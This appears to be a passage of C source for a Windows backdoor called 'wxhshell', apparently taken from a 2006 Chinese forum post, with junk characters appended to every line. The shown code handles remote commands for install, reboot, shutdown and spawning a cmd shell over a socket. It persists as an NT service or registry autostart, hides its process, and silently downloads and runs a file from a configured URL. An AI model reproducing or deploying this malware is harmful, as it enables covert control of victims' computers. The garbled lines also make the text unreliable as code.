    break; RbY=O OQ  
  } |@rPd=G^(/  
  // 安装 ep<O?7@j-G  
  case 'i': { ["N)=d|LS  
    if(Install()) Td7=La0   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :dZq!1~t  
    else +8rG Stv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ";&5@H|  
    break; G<S(P@ss  
    } N<e=!LV  
  // 卸载 '\&t3?;  
  case 'r': { zB8 @Wl  
    if(Uninstall()) " ^t3VjN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aBH!K   
    else &at^~ o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }i"\?M  
    break; S#kA$yO  
    } 4490l"  
  // 显示 wxhshell 所在路径 :#?Z)oQpT  
  case 'p': { `<0{U]m  
    char svExeFile[MAX_PATH]; aQMUC6cPM@  
    strcpy(svExeFile,"\n\r"); K!JXsdHK  
      strcat(svExeFile,ExeFile); .5i\L OTd  
        send(wsh,svExeFile,strlen(svExeFile),0); J<<Ph  
    break; XtJ _po  
    } v*Fr #I0U  
  // 重启 * mzJ)4A  
  case 'b': { v(=?ge YLo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z|8oD*,  
    if(Boot(REBOOT)) WB: NV=&^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '_f]qNy  
    else { 8f""@TTp  
    closesocket(wsh); JDQ7  
    ExitThread(0); ot"3 3I  
    } Y5 BWg  
    break; gJkk0wok C  
    } W'>"E/Tx#O  
  // 关机 yJ\K\\]  
  case 'd': { +/bT4TkML  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yX%Xjo__*t  
    if(Boot(SHUTDOWN)) !`3q9RT3."  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XS L*e  
    else { yXuF<+CJ  
    closesocket(wsh); z NF.nS}:  
    ExitThread(0); ;^Q - 1  
    } $50/wb6s  
    break; Gk!06   
    } .4jU G=  
  // 获取shell z qM:'x*  
  case 's': { Au-_6dT  
    CmdShell(wsh); @Kx@ 2#~b  
    closesocket(wsh); s/;iZiWK  
    ExitThread(0); lWVvAoe  
    break; X9J&OQ  
  } c v .R`)l  
  // 退出 6AM-^S@  
  case 'x': { (1t b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -HE@wda  
    CloseIt(wsh); {Qe 7/ln!  
    break; k>2tC<  
    } =JqKdLH  
  // 离开 9Y6Ear .W  
  case 'q': { XLog+F$`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TVkC pO,H  
    closesocket(wsh); sPu@t&$  
    WSACleanup(); Dd3GdG@*~  
    exit(1); t_VF=B^LuR  
    break; SuO@LroxTB  
        } 7$z]oVbO'  
  } \Ax[/J2aO  
  } "kS(b4^  
]r|nz~Aa$  
  // 提示信息 U{8]TEv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %ut^ O  
} NZP>aV-  
  } ^}F@*A;o  
}i)^?@  
  return; h#Z5vH  
} .L#xX1qr  
@@?P\jv~  
// shell模块句柄 L.cGt"{  
int CmdShell(SOCKET sock) ~{8X$xs  
{ ,%bG]5  
STARTUPINFO si; Yv!r>\#0S  
ZeroMemory(&si,sizeof(si)); ._6|epJ#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >+9f{FP 9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tlz $LI  
PROCESS_INFORMATION ProcessInfo; T6P9Icv?@7  
char cmdline[]="cmd"; ;Q1/53Y<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w9Eb\An  
  return 0; 8hKyp5(%l  
} 9XH}/FcP_O  
8 2EH'C  
// 自身启动模式 =;) M+"  
int StartFromService(void) ogOUrJ}P  
{ QSaJb?I  
typedef struct QJsud{ada  
{ |uT &M`7\{  
  DWORD ExitStatus; +2ZBj6 e9  
  DWORD PebBaseAddress; &!adW@y  
  DWORD AffinityMask; ;;*'<\lP.j  
  DWORD BasePriority; Q>G lA  
  ULONG UniqueProcessId; 1L4-hYtCj  
  ULONG InheritedFromUniqueProcessId; !oJ226>WI  
}   PROCESS_BASIC_INFORMATION; ^GyGh{@,f  
$bGe1\  
PROCNTQSIP NtQueryInformationProcess; kVH^(Pi  
KMhEU**  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YgeU>I|v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5D~>Ed;  
|t1ij'N  
  HANDLE             hProcess; S7I8BS[*v  
  PROCESS_BASIC_INFORMATION pbi; :k-(%E](  
VSxls  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cNd;qO0$  
  if(NULL == hInst ) return 0; 4X()D {uR  
%Ob#GA+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A#WvN>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SEL7,8 Hm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bnm3 cR:h"  
lrE|>R  
  if (!NtQueryInformationProcess) return 0; _YT9zG  
1]yjhw9g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K4H U 9!  
  if(!hProcess) return 0; 2E*k@  
GWQ_X9+q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zRz7*o&l  
.3tyNjsn\  
  CloseHandle(hProcess); T##_?=22I  
b6LwKUl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B!z-O*fLE1  
if(hProcess==NULL) return 0; )=PmHUd  
!6d6b@Mv  
HMODULE hMod; 1z#0CX}Y/H  
char procName[255]; dV:vM9+x  
unsigned long cbNeeded; f<Co&^A  
Uc?4!{$X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JyfWy  
d{gj8  
  CloseHandle(hProcess); ~<)CI0=  
>_<J=8|E  
if(strstr(procName,"services")) return 1; // 以服务启动 iJr 1w&GL$  
Bl >)GX\l  
  return 0; // 注册表启动 s--\<v  
} ,o_Ur.UJ  
Py3Y*YP  
// 主模块 0VA$ Ige  
int StartWxhshell(LPSTR lpCmdLine) uPp9 UW  
{ + pq/:h  
  SOCKET wsl; 2f=7`1RCD  
BOOL val=TRUE; Y(` # J[  
  int port=0; V&j |St[  
  struct sockaddr_in door; n*HRGJ  
_kJ?mTk  
  if(wscfg.ws_autoins) Install(); p?#cn   
fFBD5q(n  
port=atoi(lpCmdLine); jDaWmy<ha  
m V U(b,  
if(port<=0) port=wscfg.ws_port; W8/8V,  
jW?siQO^  
  WSADATA data; L'*P;z7<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l$:.bwXXO  
h /.^iT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B!#F!Wk"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X`,]@c%C`  
  door.sin_family = AF_INET; i;yr=S,a0/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "(U%Vg|)  
  door.sin_port = htons(port); !aVwmd'9  
l5 FM>q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Je5UVf3>2&  
closesocket(wsl); \Jcj4  
return 1; X5M{No>z  
} v+3-o/G7  
LMV0:\>  
  if(listen(wsl,2) == INVALID_SOCKET) { y'a(>s(  
closesocket(wsl); K?4/x4p@  
return 1; Pdg%:aY  
} a9OJC4\  
  Wxhshell(wsl); upJ|`,G{  
  WSACleanup(); :N3'$M"  
gm-m_cB<  
return 0; K)h\X~s  
wl*"Vagb  
} 5_d=~whO&2  
F$;vPAxbK"  
// 以NT服务方式启动 => PBdW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z_jTR[dY  
{ @\!9dK-W  
DWORD   status = 0; mp{r$tc  
  DWORD   specificError = 0xfffffff; iTt#%Fs)4M  
$p} /&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WLb *\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u_5O<UP5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xyoh B#'W  
  serviceStatus.dwWin32ExitCode     = 0; Gob;dku  
  serviceStatus.dwServiceSpecificExitCode = 0; ~4{E0om@  
  serviceStatus.dwCheckPoint       = 0; LGOeBEAMV^  
  serviceStatus.dwWaitHint       = 0; &SzLEbU!  
5&uS700  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C&\vVNV;9  
  if (hServiceStatusHandle==0) return; w84 ] s%y  
Mohy;#8Wk  
status = GetLastError(); e' `xU  
  if (status!=NO_ERROR) dXe. 5XC  
{ ,r,~1oV<"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w(P\+ m<%  
    serviceStatus.dwCheckPoint       = 0; f> u{e~Q,  
    serviceStatus.dwWaitHint       = 0; 7Y8B \B)w  
    serviceStatus.dwWin32ExitCode     = status; +dkbt%7M  
    serviceStatus.dwServiceSpecificExitCode = specificError; )BuS'oB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  n(mS  
    return; 4zF|}aiQ  
  } Wgh4DhAW  
l Z3o3"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :\0q\2e[<  
  serviceStatus.dwCheckPoint       = 0; Se o3a6o  
  serviceStatus.dwWaitHint       = 0; i>Cxi ZT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~N i#xa  
} K|H&x"t  
ZU vA`   
// 处理NT服务事件,比如:启动、停止 u% ^Lu.l_c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DIk\=[{2q  
{ I82?sQ7  
switch(fdwControl) doCWJ   
{ S;o U'KOY  
case SERVICE_CONTROL_STOP: IZm_/  
  serviceStatus.dwWin32ExitCode = 0; iwHy!Vi-5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _HT*>-B  
  serviceStatus.dwCheckPoint   = 0; 0I.9m[<Fc  
  serviceStatus.dwWaitHint     = 0; 3X+uJb2  
  { g5EdW=Dt,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0d-w<lg9  
  } b}G4eXkuj  
  return; a<.7q1F  
case SERVICE_CONTROL_PAUSE: >.D0McQg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (3RU|4Ks  
  break; dYg}qad5:  
case SERVICE_CONTROL_CONTINUE: L`i#yXR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  c|N!ZYJI  
  break; N*PF&MyB  
case SERVICE_CONTROL_INTERROGATE: 67I6]3[ Z  
  break; #\+ TKK  
}; ASuxty  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I#Q Tmg.  
} o:\RJig<  
TtL2}Wdd.%  
// 标准应用程序主函数 Jmb [d\ /D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,w.`(?I/  
{ LE_1H >  
$*| :A  
// 获取操作系统版本 jafq(t  
OsIsNt=GetOsVer(); n2bL-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); mm3goIi; Y  
n6gYZd  
  // 从命令行安装 S7Xr~5>X  
  if(strpbrk(lpCmdLine,"iI")) Install(); \?,'i/c-  
\C3ir&  
  // 下载执行文件 ?VMj;+'tr  
if(wscfg.ws_downexe) { U~8.uldnF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XpzdvR1  
  WinExec(wscfg.ws_filenam,SW_HIDE); w;.'>ORC  
} ZQvpkO7}M  
8#%p[TLj  
if(!OsIsNt) { $+IE`(Ckf  
// 如果时win9x,隐藏进程并且设置为注册表启动 z8 bDBoD6  
HideProc(); q+{-p?;;  
StartWxhshell(lpCmdLine); I/bED~Z:a  
} ,jBd3GdlZ  
else H_'i.t 'SS  
  if(StartFromService()) Sf}>~z2  
  // 以服务方式启动 |Xblz1>DF  
  StartServiceCtrlDispatcher(DispatchTable); k]<  
else EXDtVa Ot  
  // 普通方式启动 j%iz>  
  StartWxhshell(lpCmdLine); dbkccO}WB  
e~r%8.Wm  
return 0; 5_+vjV;5  
}
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只看该作者 1 发表于: 2006-10-10
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